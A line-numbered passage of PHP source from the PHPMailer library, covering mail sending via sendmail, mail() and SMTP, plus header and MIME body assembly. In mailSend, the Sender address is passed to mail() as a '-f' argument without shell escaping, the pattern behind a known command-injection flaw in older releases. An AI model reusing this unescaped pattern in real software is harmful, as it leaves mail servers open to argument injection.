8957 if ($this->exceptions) {
8958 throw $exc;
8959 }
8960 }
8961 return false;
8962 }
8963
8964 /**
8965 * Send mail using the $Sendmail program.
8966 * @param string $header The message headers
8967 * @param string $body The message body
8968 * @see PHPMailer::$Sendmail
8969 * @throws phpmailerException
8970 * @access protected
8971 * @return boolean
8972 */
8973 protected function sendmailSend($header, $body)
8974 {
8975 if ($this->Sender != '') {
8976 if ($this->Mailer == 'qmail') {
8977 $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
8978 } else {
8979 $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
8980 }
8981 } else {
8982 if ($this->Mailer == 'qmail') {
8983 $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
8984 } else {
8985 $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
8986 }
8987 }
8988 if ($this->SingleTo) {
8989 foreach ($this->SingleToArray as $toAddr) {
8990 if (!@$mail = popen($sendmail, 'w')) {
8991 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
8992 }
8993 fputs($mail, 'To: ' . $toAddr . "\n");
8994 fputs($mail, $header);
8995 fputs($mail, $body);
8996 $result = pclose($mail);
8997 $this->doCallback(
8998 ($result == 0),
8999 array($toAddr),
9000 $this->cc,
9001 $this->bcc,
9002 $this->Subject,
9003 $body,
9004 $this->From
9005 );
9006 if ($result != 0) {
9007 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
9008 }
9009 }
9010 } else {
9011 if (!@$mail = popen($sendmail, 'w')) {
9012 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
9013 }
9014 fputs($mail, $header);
9015 fputs($mail, $body);
9016 $result = pclose($mail);
9017 $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
9018 if ($result != 0) {
9019 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
9020 }
9021 }
9022 return true;
9023 }
9024
9025 /**
9026 * Send mail using the PHP mail() function.
9027 * @param string $header The message headers
9028 * @param string $body The message body
9029 * @link http://www.php.net/manual/en/book.mail.php
9030 * @throws phpmailerException
9031 * @access protected
9032 * @return boolean
9033 */
9034 protected function mailSend($header, $body)
9035 {
9036 $toArr = array();
9037 foreach ($this->to as $toaddr) {
9038 $toArr[] = $this->addrFormat($toaddr);
9039 }
9040 $to = implode(', ', $toArr);
9041
9042 if (empty($this->Sender)) {
9043 $params = ' ';
9044 } else {
9045 $params = sprintf('-f%s', $this->Sender);
9046 }
9047 if ($this->Sender != '' and !ini_get('safe_mode')) {
9048 $old_from = ini_get('sendmail_from');
9049 ini_set('sendmail_from', $this->Sender);
9050 }
9051 $result = false;
9052 if ($this->SingleTo && count($toArr) > 1) {
9053 foreach ($toArr as $toAddr) {
9054 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
9055 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
9056 }
9057 } else {
9058 $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
9059 $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
9060 }
9061 if (isset($old_from)) {
9062 ini_set('sendmail_from', $old_from);
9063 }
9064 if (!$result) {
9065 throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
9066 }
9067 return true;
9068 }
9069
9070 /**
9071 * Get an instance to use for SMTP operations.
9072 * Override this function to load your own SMTP implementation
9073 * @return SMTP
9074 */
9075 public function getSMTPInstance()
9076 {
9077 if (!is_object($this->smtp)) {
9078 $this->smtp = new SMTP;
9079 }
9080 return $this->smtp;
9081 }
9082
9083 /**
9084 * Send mail via SMTP.
9085 * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
9086 * Uses the PHPMailerSMTP class by default.
9087 * @see PHPMailer::getSMTPInstance() to use a different class.
9088 * @param string $header The message headers
9089 * @param string $body The message body
9090 * @throws phpmailerException
9091 * @uses SMTP
9092 * @access protected
9093 * @return boolean
9094 */
9095 protected function smtpSend($header, $body)
9096 {
9097 $bad_rcpt = array();
9098
9099 if (!$this->smtpConnect()) {
9100 throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
9101 }
9102 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
9103 if (!$this->smtp->mail($smtp_from)) {
9104 $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
9105 throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
9106 }
9107
9108 // Attempt to send to all recipients
9109 foreach ($this->to as $to) {
9110 if (!$this->smtp->recipient($to[0])) {
9111 $bad_rcpt[] = $to[0];
9112 $isSent = false;
9113 } else {
9114 $isSent = true;
9115 }
9116 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
9117 }
9118 foreach ($this->cc as $cc) {
9119 if (!$this->smtp->recipient($cc[0])) {
9120 $bad_rcpt[] = $cc[0];
9121 $isSent = false;
9122 } else {
9123 $isSent = true;
9124 }
9125 $this->doCallback($isSent, array(), array($cc[0]), array(), $this->Subject, $body, $this->From);
9126 }
9127 foreach ($this->bcc as $bcc) {
9128 if (!$this->smtp->recipient($bcc[0])) {
9129 $bad_rcpt[] = $bcc[0];
9130 $isSent = false;
9131 } else {
9132 $isSent = true;
9133 }
9134 $this->doCallback($isSent, array(), array(), array($bcc[0]), $this->Subject, $body, $this->From);
9135 }
9136
9137 // Only send the DATA command if we have viable recipients
9138 if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
9139 throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
9140 }
9141 if ($this->SMTPKeepAlive) {
9142 $this->smtp->reset();
9143 } else {
9144 $this->smtp->quit();
9145 $this->smtp->close();
9146 }
9147 if (count($bad_rcpt) > 0) { // Create error message for any bad addresses
9148 throw new phpmailerException(
9149 $this->lang('recipients_failed') . implode(', ', $bad_rcpt),
9150 self::STOP_CONTINUE
9151 );
9152 }
9153 return true;
9154 }
9155
9156 /**
9157 * Initiate a connection to an SMTP server.
9158 * Returns false if the operation failed.
9159 * @param array $options An array of options compatible with stream_context_create()
9160 * @uses SMTP
9161 * @access public
9162 * @throws phpmailerException
9163 * @return boolean
9164 */
9165 public function smtpConnect($options = array())
9166 {
9167 if (is_null($this->smtp)) {
9168 $this->smtp = $this->getSMTPInstance();
9169 }
9170
9171 // Already connected?
9172 if ($this->smtp->connected()) {
9173 return true;
9174 }
9175
9176 $this->smtp->setTimeout($this->Timeout);
9177 $this->smtp->setDebugLevel($this->SMTPDebug);
9178 $this->smtp->setDebugOutput($this->Debugoutput);
9179 $this->smtp->setVerp($this->do_verp);
9180 $hosts = explode(';', $this->Host);
9181 $lastexception = null;
9182
9183 foreach ($hosts as $hostentry) {
9184 $hostinfo = array();
9185 if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
9186 // Not a valid host entry
9187 continue;
9188 }
9189 // $hostinfo[2]: optional ssl or tls prefix
9190 // $hostinfo[3]: the hostname
9191 // $hostinfo[4]: optional port number
9192 // The host string prefix can temporarily override the current setting for SMTPSecure
9193 // If it's not specified, the default value is used
9194 $prefix = '';
9195 $tls = ($this->SMTPSecure == 'tls');
9196 if ($hostinfo[2] == 'ssl' or ($hostinfo[2] == '' and $this->SMTPSecure == 'ssl')) {
9197 $prefix = 'ssl://';
9198 $tls = false; // Can't have SSL and TLS at once
9199 } elseif ($hostinfo[2] == 'tls') {
9200 $tls = true;
9201 // tls doesn't use a prefix
9202 }
9203 $host = $hostinfo[3];
9204 $port = $this->Port;
9205 $tport = (integer)$hostinfo[4];
9206 if ($tport > 0 and $tport < 65536) {
9207 $port = $tport;
9208 }
9209 if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
9210 try {
9211 if ($this->Helo) {
9212 $hello = $this->Helo;
9213 } else {
9214 $hello = $this->serverHostname();
9215 }
9216 $this->smtp->hello($hello);
9217
9218 if ($tls) {
9219 if (!$this->smtp->startTLS()) {
9220 throw new phpmailerException($this->lang('connect_host'));
9221 }
9222 // We must resend HELO after tls negotiation
9223 $this->smtp->hello($hello);
9224 }
9225 if ($this->SMTPAuth) {
9226 if (!$this->smtp->authenticate(
9227 $this->Username,
9228 $this->Password,
9229 $this->AuthType,
9230 $this->Realm,
9231 $this->Workstation
9232 )
9233 ) {
9234 throw new phpmailerException($this->lang('authenticate'));
9235 }
9236 }
9237 return true;
9238 } catch (phpmailerException $exc) {
9239 $lastexception = $exc;
9240 // We must have connected, but then failed TLS or Auth, so close connection nicely
9241 $this->smtp->quit();
9242 }
9243 }
9244 }
9245 // If we get here, all connection attempts have failed, so close connection hard
9246 $this->smtp->close();
9247 // As we've caught all exceptions, just report whatever the last one was
9248 if ($this->exceptions and !is_null($lastexception)) {
9249 throw $lastexception;
9250 }
9251 return false;
9252 }
9253
9254 /**
9255 * Close the active SMTP session if one exists.
9256 * @return void
9257 */
9258 public function smtpClose()
9259 {
9260 if ($this->smtp !== null) {
9261 if ($this->smtp->connected()) {
9262 $this->smtp->quit();
9263 $this->smtp->close();
9264 }
9265 }
9266 }
9267
9268 /**
9269 * Set the language for error messages.
9270 * Returns false if it cannot load the language file.
9271 * The default language is English.
9272 * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
9273 * @param string $lang_path Path to the language file directory, with trailing separator (slash)
9274 * @return boolean
9275 * @access public
9276 */
9277 public function setLanguage($langcode = 'en', $lang_path = '')
9278 {
9279 // Define full set of translatable strings in English
9280 $PHPMAILER_LANG = array(
9281 'authenticate' => 'SMTP Error: Could not authenticate.',
9282 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
9283 'data_not_accepted' => 'SMTP Error: data not accepted.',
9284 'empty_message' => 'Message body empty',
9285 'encoding' => 'Unknown encoding: ',
9286 'execute' => 'Could not execute: ',
9287 'file_access' => 'Could not access file: ',
9288 'file_open' => 'File Error: Could not open file: ',
9289 'from_failed' => 'The following From address failed: ',
9290 'instantiate' => 'Could not instantiate mail function.',
9291 'invalid_address' => 'Invalid address',
9292 'mailer_not_supported' => ' mailer is not supported.',
9293 'provide_address' => 'You must provide at least one recipient email address.',
9294 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
9295 'signing' => 'Signing Error: ',
9296 'smtp_connect_failed' => 'SMTP connect() failed.',
9297 'smtp_error' => 'SMTP server error: ',
9298 'variable_set' => 'Cannot set or reset variable: '
9299 );
9300 if (empty($lang_path)) {
9301 // Calculate an absolute path so it can work if CWD is not here
9302 $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
9303 }
9304 $foundlang = true;
9305 $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
9306 if ($langcode != 'en') { // There is no English translation file
9307 // Make sure language file path is readable
9308 if (!is_readable($lang_file)) {
9309 $foundlang = false;
9310 } else {
9311 // Overwrite language-specific strings.
9312 // This way we'll never have missing translations.
9313 $foundlang = include $lang_file;
9314 }
9315 }
9316 $this->language = $PHPMAILER_LANG;
9317 return (boolean)$foundlang; // Returns false if language not found
9318 }
9319
9320 /**
9321 * Get the array of strings for the current language.
9322 * @return array
9323 */
9324 public function getTranslations()
9325 {
9326 return $this->language;
9327 }
9328
9329 /**
9330 * Create recipient headers.
9331 * @access public
9332 * @param string $type
9333 * @param array $addr An array of recipient,
9334 * where each recipient is a 2-element indexed array with element 0 containing an address
9335 * and element 1 containing a name, like:
9336 * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
9337 * @return string
9338 */
9339 public function addrAppend($type, $addr)
9340 {
9341 $addresses = array();
9342 foreach ($addr as $address) {
9343 $addresses[] = $this->addrFormat($address);
9344 }
9345 return $type . ': ' . implode(', ', $addresses) . $this->LE;
9346 }
9347
9348 /**
9349 * Format an address for use in a message header.
9350 * @access public
9351 * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
9352 * like array('joe@example.com', 'Joe User')
9353 * @return string
9354 */
9355 public function addrFormat($addr)
9356 {
9357 if (empty($addr[1])) { // No name provided
9358 return $this->secureHeader($addr[0]);
9359 } else {
9360 return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
9361 $addr[0]
9362 ) . '>';
9363 }
9364 }
9365
9366 /**
9367 * Word-wrap message.
9368 * For use with mailers that do not automatically perform wrapping
9369 * and for quoted-printable encoded messages.
9370 * Original written by philippe.
9371 * @param string $message The message to wrap
9372 * @param integer $length The line length to wrap to
9373 * @param boolean $qp_mode Whether to run in Quoted-Printable mode
9374 * @access public
9375 * @return string
9376 */
9377 public function wrapText($message, $length, $qp_mode = false)
9378 {
9379 $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
9380 // If utf-8 encoding is used, we will need to make sure we don't
9381 // split multibyte characters when we wrap
9382 $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
9383 $lelen = strlen($this->LE);
9384 $crlflen = strlen(self::CRLF);
9385
9386 $message = $this->fixEOL($message);
9387 if (substr($message, -$lelen) == $this->LE) {
9388 $message = substr($message, 0, -$lelen);
9389 }
9390
9391 $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
9392 $message = '';
9393 for ($i = 0; $i < count($line); $i++) {
9394 $line_part = explode(' ', $line[$i]);
9395 $buf = '';
9396 for ($e = 0; $e < count($line_part); $e++) {
9397 $word = $line_part[$e];
9398 if ($qp_mode and (strlen($word) > $length)) {
9399 $space_left = $length - strlen($buf) - $crlflen;
9400 if ($e != 0) {
9401 if ($space_left > 20) {
9402 $len = $space_left;
9403 if ($is_utf8) {
9404 $len = $this->utf8CharBoundary($word, $len);
9405 } elseif (substr($word, $len - 1, 1) == '=') {
9406 $len--;
9407 } elseif (substr($word, $len - 2, 1) == '=') {
9408 $len -= 2;
9409 }
9410 $part = substr($word, 0, $len);
9411 $word = substr($word, $len);
9412 $buf .= ' ' . $part;
9413 $message .= $buf . sprintf('=%s', self::CRLF);
9414 } else {
9415 $message .= $buf . $soft_break;
9416 }
9417 $buf = '';
9418 }
9419 while (strlen($word) > 0) {
9420 if ($length <= 0) {
9421 break;
9422 }
9423 $len = $length;
9424 if ($is_utf8) {
9425 $len = $this->utf8CharBoundary($word, $len);
9426 } elseif (substr($word, $len - 1, 1) == '=') {
9427 $len--;
9428 } elseif (substr($word, $len - 2, 1) == '=') {
9429 $len -= 2;
9430 }
9431 $part = substr($word, 0, $len);
9432 $word = substr($word, $len);
9433
9434 if (strlen($word) > 0) {
9435 $message .= $part . sprintf('=%s', self::CRLF);
9436 } else {
9437 $buf = $part;
9438 }
9439 }
9440 } else {
9441 $buf_o = $buf;
9442 $buf .= ($e == 0) ? $word : (' ' . $word);
9443
9444 if (strlen($buf) > $length and $buf_o != '') {
9445 $message .= $buf_o . $soft_break;
9446 $buf = $word;
9447 }
9448 }
9449 }
9450 $message .= $buf . self::CRLF;
9451 }
9452
9453 return $message;
9454 }
9455
9456 /**
9457 * Find the last character boundary prior to $maxLength in a utf-8
9458 * quoted (printable) encoded string.
9459 * Original written by Colin Brown.
9460 * @access public
9461 * @param string $encodedText utf-8 QP text
9462 * @param integer $maxLength find last character boundary prior to this length
9463 * @return integer
9464 */
9465 public function utf8CharBoundary($encodedText, $maxLength)
9466 {
9467 $foundSplitPos = false;
9468 $lookBack = 3;
9469 while (!$foundSplitPos) {
9470 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
9471 $encodedCharPos = strpos($lastChunk, '=');
9472 if (false !== $encodedCharPos) {
9473 // Found start of encoded character byte within $lookBack block.
9474 // Check the encoded byte value (the 2 chars after the '=')
9475 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
9476 $dec = hexdec($hex);
9477 if ($dec < 128) { // Single byte character.
9478 // If the encoded char was found at pos 0, it will fit
9479 // otherwise reduce maxLength to start of the encoded char
9480 $maxLength = ($encodedCharPos == 0) ? $maxLength :
9481 $maxLength - ($lookBack - $encodedCharPos);
9482 $foundSplitPos = true;
9483 } elseif ($dec >= 192) { // First byte of a multi byte character
9484 // Reduce maxLength to split at start of character
9485 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
9486 $foundSplitPos = true;
9487 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
9488 $lookBack += 3;
9489 }
9490 } else {
9491 // No encoded character found
9492 $foundSplitPos = true;
9493 }
9494 }
9495 return $maxLength;
9496 }
9497
9498 /**
9499 * Set the body wrapping.
9500 * @access public
9501 * @return void
9502 */
9503 public function setWordWrap()
9504 {
9505 if ($this->WordWrap < 1) {
9506 return;
9507 }
9508
9509 switch ($this->message_type) {
9510 case 'alt':
9511 case 'alt_inline':
9512 case 'alt_attach':
9513 case 'alt_inline_attach':
9514 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
9515 break;
9516 default:
9517 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
9518 break;
9519 }
9520 }
9521
9522 /**
9523 * Assemble message headers.
9524 * @access public
9525 * @return string The assembled headers
9526 */
9527 public function createHeader()
9528 {
9529 $result = '';
9530
9531 // Set the boundaries
9532 $uniq_id = md5(uniqid(time()));
9533 $this->boundary[1] = 'b1_' . $uniq_id;
9534 $this->boundary[2] = 'b2_' . $uniq_id;
9535 $this->boundary[3] = 'b3_' . $uniq_id;
9536
9537 if ($this->MessageDate == '') {
9538 $this->MessageDate = self::rfcDate();
9539 }
9540 $result .= $this->headerLine('Date', $this->MessageDate);
9541
9542
9543 // To be created automatically by mail()
9544 if ($this->SingleTo) {
9545 if ($this->Mailer != 'mail') {
9546 foreach ($this->to as $toaddr) {
9547 $this->SingleToArray[] = $this->addrFormat($toaddr);
9548 }
9549 }
9550 } else {
9551 if (count($this->to) > 0) {
9552 if ($this->Mailer != 'mail') {
9553 $result .= $this->addrAppend('To', $this->to);
9554 }
9555 } elseif (count($this->cc) == 0) {
9556 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
9557 }
9558 }
9559
9560 $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
9561
9562 // sendmail and mail() extract Cc from the header before sending
9563 if (count($this->cc) > 0) {
9564 $result .= $this->addrAppend('Cc', $this->cc);
9565 }
9566
9567 // sendmail and mail() extract Bcc from the header before sending
9568 if ((
9569 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
9570 )
9571 and count($this->bcc) > 0
9572 ) {
9573 $result .= $this->addrAppend('Bcc', $this->bcc);
9574 }
9575
9576 if (count($this->ReplyTo) > 0) {
9577 $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
9578 }
9579
9580 // mail() sets the subject itself
9581 if ($this->Mailer != 'mail') {
9582 $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
9583 }
9584
9585 if ($this->MessageID != '') {
9586 $this->lastMessageID = $this->MessageID;
9587 } else {
9588 $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
9589 }
9590 $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
9591 $result .= $this->headerLine('X-Priority', $this->Priority);
9592 if ($this->XMailer == '') {
9593 $result .= $this->headerLine(
9594 'X-Mailer',
9595 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer/)'
9596 );
9597 } else {
9598 $myXmailer = trim($this->XMailer);
9599 if ($myXmailer) {
9600 $result .= $this->headerLine('X-Mailer', $myXmailer);
9601 }
9602 }
9603
9604 if ($this->ConfirmReadingTo != '') {
9605 $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
9606 }
9607
9608 // Add custom headers
9609 for ($index = 0; $index < count($this->CustomHeader); $index++) {
9610 $result .= $this->headerLine(
9611 trim($this->CustomHeader[$index][0]),
9612 $this->encodeHeader(trim($this->CustomHeader[$index][1]))
9613 );
9614 }
9615 if (!$this->sign_key_file) {
9616 $result .= $this->headerLine('MIME-Version', '1.0');
9617 $result .= $this->getMailMIME();
9618 }
9619
9620 return $result;
9621 }
9622
9623 /**
9624 * Get the message MIME type headers.
9625 * @access public
9626 * @return string
9627 */
9628 public function getMailMIME()
9629 {
9630 $result = '';
9631 $ismultipart = true;
9632 switch ($this->message_type) {
9633 case 'inline':
9634 $result .= $this->headerLine('Content-Type', 'multipart/related;');
9635 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
9636 break;
9637 case 'attach':
9638 case 'inline_attach':
9639 case 'alt_attach':
9640 case 'alt_inline_attach':
9641 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
9642 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
9643 break;
9644 case 'alt':
9645 case 'alt_inline':
9646 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
9647 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
9648 break;
9649 default:
9650 // Catches case 'plain': and case '':
9651 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
9652 $ismultipart = false;
9653 break;
9654 }
9655 // RFC1341 part 5 says 7bit is assumed if not specified
9656 if ($this->Encoding != '7bit') {
9657 // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
9658 if ($ismultipart) {
9659 if ($this->Encoding == '8bit') {
9660 $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
9661 }
9662 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
9663 } else {
9664 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
9665 }
9666 }
9667
9668 if ($this->Mailer != 'mail') {
9669 $result .= $this->LE;
9670 }
9671
9672 return $result;
9673 }
9674
9675 /**
9676 * Returns the whole MIME message.
9677 * Includes complete headers and body.
9678 * Only valid post preSend().
9679 * @see PHPMailer::preSend()
9680 * @access public
9681 * @return string
9682 */
9683 public function getSentMIMEMessage()
9684 {
9685 return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
9686 }
9687
9688
9689 /**
9690 * Assemble the message body.
9691 * Returns an empty string on failure.
9692 * @access public
9693 * @throws phpmailerException
9694 * @return string The assembled message body
9695 */
9696 public function createBody()
9697 {
9698 $body = '';
9699
9700 if ($this->sign_key_file) {
9701 $body .= $this->getMailMIME() . $this->LE;
9702 }
9703
9704 $this->setWordWrap();
9705
9706 $bodyEncoding = $this->Encoding;
9707 $bodyCharSet = $this->CharSet;
9708 if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
9709 $bodyEncoding = '7bit';
9710 $bodyCharSet = 'us-ascii';
9711 }
9712 $altBodyEncoding = $this->Encoding;
9713 $altBodyCharSet = $this->CharSet;
9714 if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
9715 $altBodyEncoding = '7bit';
9716 $altBodyCharSet = 'us-ascii';
9717 }
9718 switch ($this->message_type) {
9719 case 'inline':
9720 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
9721 $body .= $this->encodeString($this->Body, $bodyEncoding);
9722 $body .= $this->LE . $this->LE;
9723 $body .= $this->attachAll('inline', $this->boundary[1]);
9724 break;
9725 case 'attach':
9726 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
9727 $body .= $this->encodeString($this->Body, $bodyEncoding);
9728 $body .= $this->LE . $this->LE;
9729 $body .= $this->attachAll('attachment', $this->boundary[1]);
9730 break;
9731 case 'inline_attach':
9732 $body .= $this->textLine('--' . $this->boundary[1]);
9733 $body .= $this->headerLine('Content-Type', 'multipart/related;');
9734 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9735 $body .= $this->LE;
9736 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
9737 $body .= $this->encodeString($this->Body, $bodyEncoding);
9738 $body .= $this->LE . $this->LE;
9739 $body .= $this->attachAll('inline', $this->boundary[2]);
9740 $body .= $this->LE;
9741 $body .= $this->attachAll('attachment', $this->boundary[1]);
9742 break;
9743 case 'alt':
9744 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9745 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9746 $body .= $this->LE . $this->LE;
9747 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
9748 $body .= $this->encodeString($this->Body, $bodyEncoding);
9749 $body .= $this->LE . $this->LE;
9750 if (!empty($this->Ical)) {
9751 $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
9752 $body .= $this->encodeString($this->Ical, $this->Encoding);
9753 $body .= $this->LE . $this->LE;
9754 }
9755 $body .= $this->endBoundary($this->boundary[1]);
9756 break;
9757 case 'alt_inline':
9758 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9759 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9760 $body .= $this->LE . $this->LE;
9761 $body .= $this->textLine('--' . $this->boundary[1]);
9762 $body .= $this->headerLine('Content-Type', 'multipart/related;');
9763 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9764 $body .= $this->LE;
9765 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
9766 $body .= $this->encodeString($this->Body, $bodyEncoding);
9767 $body .= $this->LE . $this->LE;
9768 $body .= $this->attachAll('inline', $this->boundary[2]);
9769 $body .= $this->LE;
9770 $body .= $this->endBoundary($this->boundary[1]);
9771 break;
9772 case 'alt_attach':
9773 $body .= $this->textLine('--' . $this->boundary[1]);
9774 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
9775 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9776 $body .= $this->LE;
9777 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9778 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9779 $body .= $this->LE . $this->LE;
9780 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
9781 $body .= $this->encodeString($this->Body, $bodyEncoding);
9782 $body .= $this->LE . $this->LE;
9783 $body .= $this->endBoundary($this->boundary[2]);
9784 $body .= $this->LE;
9785 $body .= $this->attachAll('attachment', $this->boundary[1]);
9786 break;
9787
9788 case 'alt_inline_attach':
9789 $body .= $this->textLine('--' . $this->boundary[1]);
9790 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
9791 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9792 $body .= $this->LE;
9793 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9794 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9795 $body .= $this->LE . $this->LE;
9796 $body .= $this->textLine('--' . $this->boundary[2]);
9797 $body .= $this->headerLine('Content-Type', 'multipart/related;');
9798 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
9799 $body .= $this->LE;
9800 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
9801 $body .= $this->encodeString($this->Body, $bodyEncoding);
9802 $body .= $this->LE . $this->LE;
9803 $body .= $this->attachAll('inline', $this->boundary[3]);
9804 $body .= $this->LE;
9805 $body .= $this->endBoundary($this->boundary[2]);
9806 $body .= $this->LE;
9807 $body .= $this->attachAll('attachment', $this->boundary[1]);
9808 break;
9809 default:
9810 // catch case 'plain' and case ''
9811 $body .= $this->encodeString($this->Body, $bodyEncoding);
9812 break;
9813 }
9814
9815 if ($this->isError()) {
9816 $body = '';
9817 } elseif ($this->sign_key_file) {
9818 try {
9819 if (!defined('PKCS7_TEXT')) {
9820 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
9821 }
9822 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
9823 $file = tempnam(sys_get_temp_dir(), 'mail');
9824 if (false === file_put_contents($file, $body)) {
9825 throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
9826 }
9827 $signed = tempnam(sys_get_temp_dir(), 'signed');
9828 if (@openssl_pkcs7_sign(
9829 $file,
9830 $signed,
9831 'file://' . realpath($this->sign_cert_file),
9832 array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
9833 null
9834 )
9835 ) {
9836 @unlink($file);
9837 $body = file_get_contents($signed);
9838 @unlink($signed);
9839 } else {
9840 @unlink($file);
9841 @unlink($signed);
9842 throw new phpmailerException($this->lang('signing') . openssl_error_string());
9843 }
9844 } catch (phpmailerException $exc) {
9845 $body = '';
9846 if ($this->exceptions) {
9847 throw $exc;
9848 }
9849 }
9850 }
9851 return $body;
9852 }
9853
9854 /**
9855 * Return the start of a message boundary.
9856 * @access protected
9857 * @param string $boundary
9858 * @param string $charSet
9859 * @param string $contentType
9860 * @param string $encoding
9861 * @return string
9862 */
9863 protected function getBoundary($boundary, $charSet, $contentType, $encoding)
9864 {
9865 $result = '';
9866 if ($charSet == '') {
9867 $charSet = $this->CharSet;
9868 }
9869 if ($contentType == '') {
9870 $contentType = $this->ContentType;
9871 }
9872 if ($encoding == '') {
9873 $encoding = $this->Encoding;
9874 }
9875 $result .= $this->textLine('--' . $boundary);
9876 $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
9877 $result .= $this->LE;
